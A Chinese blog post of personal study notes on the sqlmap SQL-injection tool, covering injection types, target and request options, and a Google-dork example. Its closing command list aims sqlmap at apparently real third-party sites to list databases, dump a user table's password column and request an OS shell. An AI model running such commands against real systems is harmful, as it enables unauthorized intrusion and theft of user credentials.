sqlmap 系统学习

之前学习sqlmap不是很系统,基本是遇到了用一下,接下来系统学一下.时间不多学多少算多少

这次是再win环境下使用sqlmap,与linux下基本一致

(没有添加环境变量的时候)再sqlmap目录下启动cmd输入

1
sqlmap.py -h

可以查看是否成功,如果使用的powershell就需要
输入

1
./sqlmap.py -h

sqlmap做什么

当给sqlmap这么一个url的时候,它会:

  1. 判断可注入的参数
  2. 判断可以用那种SQL注入技术来注入
  3. 识别出哪种数据库
  4. 根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。(这个等同于布尔)
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  4. 联合查询注入,可以使用union的情况下的注入。
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

获取目标方式

目标URL

参数:-u或-url

1
python sqlmap.py -u "http://test/index.php" -f --banner --dbs --users

从burp或者webscarab代理中获取日志

参数:-l
可以直接吧Burp proxy或者WebScarab proxy中的日志直接导出来交给sqlmap来一个一个检测是否有注入。

1
2
3
4
python sqlmap.py -l /Users/daren/temp/burp/sql_map_log_1_filter --batch -smart --dbms=oracle
# -l 访问日志文件
# batch:自动选yes。
# smart:启发式快速判断,节约时间。

从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测

1
2
3
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

从文件中加载HTTP请求

参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如文本文件内如下:

1
2
3
4
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1

当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后面加上:443

处理Google的搜索结果

参数:-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:

1
python sqlmap.py -g "inurl:\".php?id=1\""

请求

http数据

参数:–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:

1
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie
这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:–user-agent,–random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

1
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:–headers

可以通过–headers参数来增加额外的http头

HTTP认证保护

参数:–auth-type,–auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:

1、Basic

2、Digest

3、NTLM

我的常用命令

会随着使用删减增加,各种参数是可以组合的,这里很多组合的都没列出来

  • sqlmap -u http://www.ishengbo.com/product.php?id=1
    检测注入点可以获得操作系统,数据库类型,语言,是否存在注入点
  • sqlmap -u http://www.ishengbo.com/product.php?id=1 --dbs
    获取数据库名称
  • sqlmap -u http://www.ishengbo.com/product.php?id=1 -D sq_ishengbo --tables
    获取指定数据库的所有表名称
  • sqlmap -u http://www.svep.com.cn/list.asp?id=167172 -D sq_ishengbo -T user --columns
    获取所有指定数据的表的所有列名称
  • sqlmap -u http://www.svep.com.cn/list.asp?id=167172 -D sq_ishengbo --columns
    获取所有列名称
  • sqlmap -u http://www.svep.com.cn/list.asp?id=167172 -T user -C logins,userid,username,userpassword --dump
    获取指定数据的指定表的指定列的数据
  • sqlmap -u http://www.svep.com.cn/list.asp?id=167172 -T user --dump
    获取指定数据的指定表的所有数据
  • sqlmap -u http://www.ishengbo.com/product.php?id=1 --os-shell
    获取交互shell(还没成功过,哪天尝试再本地环境中试试)
  • sqlmap -r ~/Downloads/burp.txt
    使用从burp拦截的数据包(目前只使用过post方式注入),检测注入点,可以获得操作系统,数据库类型,语言,是否存在注入点
  • sqlmap -r ~/Downloads/burp.txt --tables
    获取所有表名,因为是access数据库,所以不需要使用-D参数(只有一个数据库当然不用指定)

参考

本文部分来自 :https://www.nmfox.com/2015/09/11/331.html

如果文章有问题欢迎指出,或者你也可以联系我
本文作者:E1se
本文链接: 2019/02/28/sqlmap-系统学习/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!
-------------本文结束-------------
0%